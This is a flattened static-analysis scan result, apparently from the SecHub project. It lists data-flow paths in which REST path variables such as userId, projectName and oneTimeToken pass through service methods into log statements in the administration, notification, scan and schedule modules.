1 + userId + + 8 + + + 125 + public void unassignUserFromProject(@PathVariable(name="projectName") String projectName, @PathVariable(name="userId") String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 127 + 56 + 2 + userId + + 8 + + + 127 + unassignUserToProjectService.unassignUserFromProject(userId, projectName); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 45 + 45 + 3 + userId + + 8 + + + 45 + public void unassignUserFromProject(String userId, String projectName) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 47 + 45 + 4 + userId + + 8 + + + 47 + User user = userRepository.findOrFailUser(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 47 + 44 + 5 + findOrFailUser + + 1 + + + 47 + User user = userRepository.findOrFailUser(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 47 + 8 + 6 + user + + 4 + + + 47 + User user = userRepository.findOrFailUser(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 51 + 19 + 7 + getProjects + + 1 + + + 51 + user.getProjects().remove(project); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 51 + 3 + 8 + user + + 4 + + + 51 + user.getProjects().remove(project); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 54 + 23 + 9 + getProjects + + 1 + + + 54 + if (user.getProjects().isEmpty()) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 54 + 23 + 10 + getProjects + + 1 + + + 54 + if (user.getProjects().isEmpty()) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 61 + 62 + 11 + user + + 4 + + + 61 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getName()); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/User.java + 87 + 10 + 12 + name + + 4 + + + 87 + return name; + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 61 + 74 + 13 + getName + + 1 + + + 61 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getName()); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 61 + 12 + 14 + debug + + 1 + + + 61 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getName()); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 133 + 68 + 1 + projectName + + 11 + + + 133 + public void deletProject(@PathVariable(name="projectName") String projectName) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 135 + 30 + 2 + projectName + + 11 + + + 135 + deleteService.deletProject(projectName); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDeleteService.java + 35 + 34 + 3 + projectName + + 11 + + + 35 + public void deletProject(String projectName) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDeleteService.java + 36 + 87 + 4 + projectName + + 11 + + + 36 + LOG.info("Administrator {} triggers delete of project {}",userContext.getUserId(),projectName); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDeleteService.java + 36 + 11 + 5 + info + + 1 + + + 36 + LOG.info("Administrator {} triggers delete of project {}",userContext.getUserId(),projectName); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestController.java + 62 + 126 + 1 + projectName + + 11 + + + 62 + public void updateProjectWhitelist(@Validated @RequestBody ProjectJsonInput input, @PathVariable(name="projectName") String projectName) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestController.java + 72 + 56 + 2 + projectName + + 11 + + + 72 + updateProjectWhitelistService.updateProjectWhitelist(projectName,whiteList); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 50 + 53 + 3 + name + + 4 + + + 50 + public void updateProjectWhitelist(@NotNull String name, @NotNull List<URI> whitelist) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 54 + 49 + 4 + name + + 4 + + + 54 + Optional<Project> found = repository.findById(name); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 54 + 48 + 5 + findById + + 1 + + + 54 + Optional<Project> found = repository.findById(name); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 54 + 21 + 6 + found + + 5 + + + 54 + Optional<Project> found = repository.findById(name); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 55 + 8 + 7 + found + + 5 + + + 55 + if (!found.isPresent()) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 63 + 21 + 8 + found + + 5 + + + 63 + Project project = found.get(); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 63 + 30 + 9 + get + + 1 + + + 63 + Project project = found.get(); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 63 + 11 + 10 + project + + 7 + + + 63 + Project project = found.get(); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 64 + 47 + 11 + getWhiteList + + 1 + + + 64 + Set<URI> oldWhiteList = project.getWhiteList(); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 64 + 47 + 12 + getWhiteList + + 1 + + + 64 + Set<URI> oldWhiteList = project.getWhiteList(); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 70 + 64 + 13 + getName + + 1 + + + 70 + LOG.debug("Updated whitelist for project {}", project.getName()); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/Project.java + 71 + 10 + 14 + name + + 4 + + + 71 + return name; + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 70 + 64 + 15 + getName + + 1 + + + 70 + LOG.debug("Updated whitelist for project {}", project.getName()); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 70 + 12 + 16 + debug + + 1 + + + 70 + LOG.debug("Updated whitelist for project {}", project.getName()); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestController.java + 62 + 126 + 1 + projectName + + 11 + + + 62 + public void updateProjectWhitelist(@Validated @RequestBody ProjectJsonInput input, @PathVariable(name="projectName") String projectName) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestController.java + 72 + 56 + 2 + projectName + + 11 + + + 72 + updateProjectWhitelistService.updateProjectWhitelist(projectName,whiteList); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 50 + 53 + 3 + name + + 4 + + + 50 + public void updateProjectWhitelist(@NotNull String name, @NotNull List<URI> whitelist) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 52 + 32 + 4 + name + + 4 + + + 52 + userContext.getUserId(), name, whitelist); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 51 + 11 + 5 + info + + 1 + + + 51 + LOG.info("User {} triggers update of whitelist for project {}. Allowed URIs shall be {}", + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupAdministrationRestController.java + 37 + 65 + 1 + userId + + 8 + + + 37 + public void deleteSignup(@PathVariable(name="userId") String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupAdministrationRestController.java + 38 + 24 + 2 + userId + + 8 + + + 38 + deleteService.delete(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupDeleteService.java + 28 + 28 + 3 + userId + + 8 + + + 28 + public void delete(String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupDeleteService.java + 32 + 56 + 4 + userId + + 8 + + + 32 + LOG.info("Existing user signup for {} deleted by {}",userId,userContextService.getUserId()); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupDeleteService.java + 32 + 11 + 5 + info + + 1 + + + 32 + LOG.info("Existing user signup for {} deleted by {}",userId,userContextService.getUserId()); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 59 + 70 + 1 + userId + + 8 + + + 59 + public void accepptUserSignUp(@PathVariable(name="userId") String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 61 + 50 + 2 + userId + + 8 + + + 61 + creationService.createUserFromSelfRegistration(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 58 + 52 + 3 + userId + + 8 + + + 58 + public void createUserFromSelfRegistration(String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 64 + 93 + 4 + userId + + 8 + + + 64 + LOG.warn("Did not found a self registration for user with name:{}, so skipped creation", userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 64 + 12 + 5 + warn + + 1 + + + 64 + LOG.warn("Did not found a self registration for user with name:{}, so skipped creation", userId); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 59 + 70 + 1 + userId + + 8 + + + 59 + public void accepptUserSignUp(@PathVariable(name="userId") String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 61 + 50 + 2 + userId + + 8 + + + 61 + creationService.createUserFromSelfRegistration(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 58 + 52 + 3 + userId + + 8 + + + 58 + public void createUserFromSelfRegistration(String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 71 + 6 + 4 + userId + + 8 + + + 71 + userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 69 + 12 + 5 + warn + + 1 + + + 69 + LOG.warn( + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 59 + 70 + 1 + userId + + 8 + + + 59 + public void accepptUserSignUp(@PathVariable(name="userId") String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 61 + 50 + 2 + userId + + 8 + + + 61 + creationService.createUserFromSelfRegistration(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 58 + 52 + 3 + userId + + 8 + + + 58 + public void createUserFromSelfRegistration(String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 93 + 58 + 4 + userId + + 8 + + + 93 + LOG.debug("Removed self registration data of user:{}", userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 93 + 12 + 5 + debug + + 1 + + + 93 + LOG.debug("Removed self registration data of user:{}", userId); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 59 + 70 + 1 + userId + + 8 + + + 59 + public void accepptUserSignUp(@PathVariable(name="userId") String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 61 + 50 + 2 + userId + + 8 + + + 61 + creationService.createUserFromSelfRegistration(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 58 + 52 + 3 + userId + + 8 + + + 58 + public void createUserFromSelfRegistration(String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 90 + 38 + 4 + userId + + 8 + + + 90 + LOG.debug("Persisted new user:{}", userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 90 + 12 + 5 + debug + + 1 + + + 90 + LOG.debug("Persisted new user:{}", userId); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 59 + 70 + 1 + userId + + 8 + + + 59 + public void accepptUserSignUp(@PathVariable(name="userId") String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 61 + 50 + 2 + userId + + 8 + + + 61 + creationService.createUserFromSelfRegistration(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 58 + 52 + 3 + userId + + 8 + + + 58 + public void createUserFromSelfRegistration(String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 59 + 83 + 4 + userId + + 8 + + + 59 + LOG.info("Administrator {} accepts signup of user {}",userContext.getUserId(),userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java + 59 + 11 + 5 + info + + 1 + + + 59 + LOG.info("Administrator {} accepts signup of user {}",userContext.getUserId(),userId); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 83 + 85 + 1 + userId + + 8 + + + 83 + public UserDetailInformation showUserDetails(@PathVariable(name="userId") String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 85 + 38 + 2 + userId + + 8 + + + 85 + return detailsService.fetchDetails(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDetailInformationService.java + 32 + 51 + 3 + userId + + 8 + + + 32 + public UserDetailInformation fetchDetails(String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDetailInformationService.java + 33 + 49 + 4 + userId + + 8 + + + 33 + LOG.debug("fetching user details for user:{}",userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDetailInformationService.java + 33 + 12 + 5 + debug + + 1 + + + 33 + LOG.debug("fetching user details for user:{}",userId); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 91 + 63 + 1 + userId + + 8 + + + 91 + public void deleteUser(@PathVariable(name="userId") String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 93 + 28 + 2 + userId + + 8 + + + 93 + deleteService.deleteUser(userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDeleteService.java + 46 + 32 + 3 + userId + + 8 + + + 46 + public void deleteUser(String userId) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDeleteService.java + 47 + 84 + 4 + userId + + 8 + + + 47 + LOG.info("Administrator {} triggers delete of user {}",userContext.getUserId(),userId); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDeleteService.java + 47 + 11 + 5 + info + + 1 + + + 47 + LOG.info("Administrator {} triggers delete of user {}",userContext.getUserId(),userId); + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserSelfserviceRestController.java + 33 + 52 + 1 + oneTimeToken + + 12 + + + 33 + public String getNewAPIToken(@PathVariable String oneTimeToken) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserSelfserviceRestController.java + 35 + 89 + 2 + oneTimeToken + + 12 + + + 35 + return createUserAPITokenByOneTimeTokenService.createNewAPITokenForUserByOneTimeToken(oneTimeToken); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/CreateUserAPITokenByOneTimeTokenService.java + 48 + 62 + 3 + oneTimeToken + + 12 + + + 48 + public String createNewAPITokenForUserByOneTimeToken(String oneTimeToken) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/CreateUserAPITokenByOneTimeTokenService.java + 52 + 7 + 4 + oneTimeToken + + 12 + + + 52 + if (oneTimeToken.isEmpty()) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/CreateUserAPITokenByOneTimeTokenService.java + 59 + 6 + 5 + oneTimeToken + + 12 + + + 59 + oneTimeToken); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/CreateUserAPITokenByOneTimeTokenService.java + 57 + 12 + 6 + warn + + 1 + + + 57 + LOG.warn( + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserSelfserviceRestController.java + 33 + 52 + 1 + oneTimeToken + + 12 + + + 33 + public String getNewAPIToken(@PathVariable String oneTimeToken) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserSelfserviceRestController.java + 35 + 89 + 2 + oneTimeToken + + 12 + + + 35 + return createUserAPITokenByOneTimeTokenService.createNewAPITokenForUserByOneTimeToken(oneTimeToken); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/CreateUserAPITokenByOneTimeTokenService.java + 48 + 62 + 3 + oneTimeToken + + 12 + + + 48 + public String createNewAPITokenForUserByOneTimeToken(String oneTimeToken) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/CreateUserAPITokenByOneTimeTokenService.java + 52 + 7 + 4 + oneTimeToken + + 12 + + + 52 + if (oneTimeToken.isEmpty()) { + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/CreateUserAPITokenByOneTimeTokenService.java + 68 + 6 + 5 + oneTimeToken + + 12 + + + 68 + oneTimeToken); + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/CreateUserAPITokenByOneTimeTokenService.java + 66 + 12 + 6 + warn + + 1 + + + 66 + LOG.warn( + + + + + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailRestController.java + 44 + 86 + 1 + emailAdress + + 11 + + + 44 + public List<SimpleMailMessage> getMailsFor(@PathVariable(name="emailAdress") String emailAdress) { + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailRestController.java + 46 + 38 + 2 + emailAdress + + 11 + + + 46 + return mockMailService.getMailsFor(emailAdress); + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailService.java + 49 + 52 + 3 + emailAdress + + 11 + + + 49 + public List<SimpleMailMessage> getMailsFor(String emailAdress) { + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailService.java + 51 + 90 + 4 + emailAdress + + 11 + + + 51 + LOG.info("cache eimals is disabled, so returning empty mails list for emailAdress:{}",emailAdress); + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailService.java + 51 + 12 + 5 + info + + 1 + + + 51 + LOG.info("cache eimals is disabled, so returning empty mails list for emailAdress:{}",emailAdress); + + + + + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailRestController.java + 44 + 86 + 1 + emailAdress + + 11 + + + 44 + public List<SimpleMailMessage> getMailsFor(@PathVariable(name="emailAdress") String emailAdress) { + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailRestController.java + 46 + 38 + 2 + emailAdress + + 11 + + + 46 + return mockMailService.getMailsFor(emailAdress); + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailService.java + 49 + 52 + 3 + emailAdress + + 11 + + + 49 + public List<SimpleMailMessage> getMailsFor(String emailAdress) { + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailService.java + 54 + 27 + 4 + emailAdress + + 11 + + + 54 + return getMailsInternal(emailAdress); + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailService.java + 57 + 58 + 5 + emailAdress + + 11 + + + 57 + private List<SimpleMailMessage> getMailsInternal(String emailAdress) { + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailService.java + 59 + 59 + 6 + emailAdress + + 11 + + + 59 + LOG.info("resolved messages:{} for user:{}",list.size(),emailAdress); + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailService.java + 59 + 11 + 7 + info + + 1 + + + 59 + LOG.info("resolved messages:{} for user:{}",list.size(),emailAdress); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 47 + 34 + 1 + jobUUID + + 7 + + + 47 + @PathVariable("jobUUID") UUID jobUUID + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 50 + 43 + 2 + jobUUID + + 7 + + + 50 + return fetchScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 70 + 72 + 3 + jobUUID + + 7 + + + 70 + private ScanReportResult fetchScanReportResult(String projectId, UUID jobUUID) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 71 + 55 + 4 + jobUUID + + 7 + + + 71 + return reportService.getScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 84 + 69 + 5 + jobUUID + + 7 + + + 84 + public ScanReportResult getScanReportResult(String projectId, UUID jobUUID) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 88 + 56 + 6 + jobUUID + + 7 + + + 88 + Report report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 88 + 55 + 7 + findBySecHubJobUUID + + 1 + + + 88 + Report report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 88 + 10 + 8 + report + + 6 + + + 88 + Report report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 93 + 31 + 9 + report + + 6 + + + 93 + return new ScanReportResult(report); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 59 + 33 + 10 + report + + 6 + + + 59 + public ScanReportResult(Report report) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 61 + 13 + 11 + report + + 6 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 61 + 36 + 12 + getSecHubJobUUID + + 1 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 62 + 48 + 13 + getTrafficLightAsString + + 1 + + + 62 + trafficLight = report.getTrafficLightAsString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 62 + 48 + 14 + getTrafficLightAsString + + 1 + + + 62 + trafficLight = report.getTrafficLightAsString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 64 + 42 + 15 + report + + 6 + + + 64 + result = SecHubResult.OBJECT.fromJSON(report.getResult()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 70 + 117 + 16 + report + + 6 + + + 70 + LOG.error("{} FATAL PROBLEM! Failed to create sechub result for origin:\n{}",UUIDTraceLogID.traceLogID(jobUUID), report.getResult()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/Report.java + 74 + 10 + 17 + result + + 6 + + + 74 + return result; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 70 + 133 + 18 + getResult + + 1 + + + 70 + LOG.error("{} FATAL PROBLEM! Failed to create sechub result for origin:\n{}",UUIDTraceLogID.traceLogID(jobUUID), report.getResult()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 70 + 13 + 19 + error + + 1 + + + 70 + LOG.error("{} FATAL PROBLEM! Failed to create sechub result for origin:\n{}",UUIDTraceLogID.traceLogID(jobUUID), report.getResult()); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 60 + 34 + 1 + jobUUID + + 7 + + + 60 + @PathVariable("jobUUID") UUID jobUUID + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 64 + 66 + 2 + jobUUID + + 7 + + + 64 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 70 + 72 + 3 + jobUUID + + 7 + + + 70 + private ScanReportResult fetchScanReportResult(String projectId, UUID jobUUID) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 71 + 55 + 4 + jobUUID + + 7 + + + 71 + return reportService.getScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 84 + 69 + 5 + jobUUID + + 7 + + + 84 + public ScanReportResult getScanReportResult(String projectId, UUID jobUUID) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 88 + 56 + 6 + jobUUID + + 7 + + + 88 + Report report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 88 + 55 + 7 + findBySecHubJobUUID + + 1 + + + 88 + Report report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 88 + 10 + 8 + report + + 6 + + + 88 + Report report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 93 + 31 + 9 + report + + 6 + + + 93 + return new ScanReportResult(report); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 59 + 33 + 10 + report + + 6 + + + 59 + public ScanReportResult(Report report) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 61 + 13 + 11 + report + + 6 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 61 + 36 + 12 + getSecHubJobUUID + + 1 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 62 + 48 + 13 + getTrafficLightAsString + + 1 + + + 62 + trafficLight = report.getTrafficLightAsString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 62 + 48 + 14 + getTrafficLightAsString + + 1 + + + 62 + trafficLight = report.getTrafficLightAsString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 64 + 42 + 15 + report + + 6 + + + 64 + result = SecHubResult.OBJECT.fromJSON(report.getResult()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 70 + 117 + 16 + report + + 6 + + + 70 + LOG.error("{} FATAL PROBLEM! Failed to create sechub result for origin:\n{}",UUIDTraceLogID.traceLogID(jobUUID), report.getResult()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/Report.java + 74 + 10 + 17 + result + + 6 + + + 74 + return result; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 70 + 133 + 18 + getResult + + 1 + + + 70 + LOG.error("{} FATAL PROBLEM! Failed to create sechub result for origin:\n{}",UUIDTraceLogID.traceLogID(jobUUID), report.getResult()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 70 + 13 + 19 + error + + 1 + + + 70 + LOG.error("{} FATAL PROBLEM! Failed to create sechub result for origin:\n{}",UUIDTraceLogID.traceLogID(jobUUID), report.getResult()); + + + + + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerRestController.java + 50 + 68 + 1 + projectId + + 9 + + + 50 + public SchedulerResult schedule(@PathVariable("projectId") String projectId, + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerRestController.java + 52 + 35 + 2 + projectId + + 9 + + + 52 + return scheduleService.schedule(projectId, configuration); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 54 + 41 + 3 + projectId + + 9 + + + 54 + public SchedulerResult schedule(String projectId, @Valid SecHubConfiguration configuration) { + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 61 + 60 + 4 + projectId + + 9 + + + 61 + ScheduleSecHubJob secHubJob = secHubJobFactory.createJob(projectId, configuration); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobFactory.java + 35 + 53 + 5 + projectId + + 9 + + + 35 + public ScheduleSecHubJob createJob(@NotNull String projectId, @Valid SecHubConfiguration configuration) { + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobFactory.java + 43 + 22 + 6 + projectId + + 9 + + + 43 + job.projectName = projectId; + + + + + 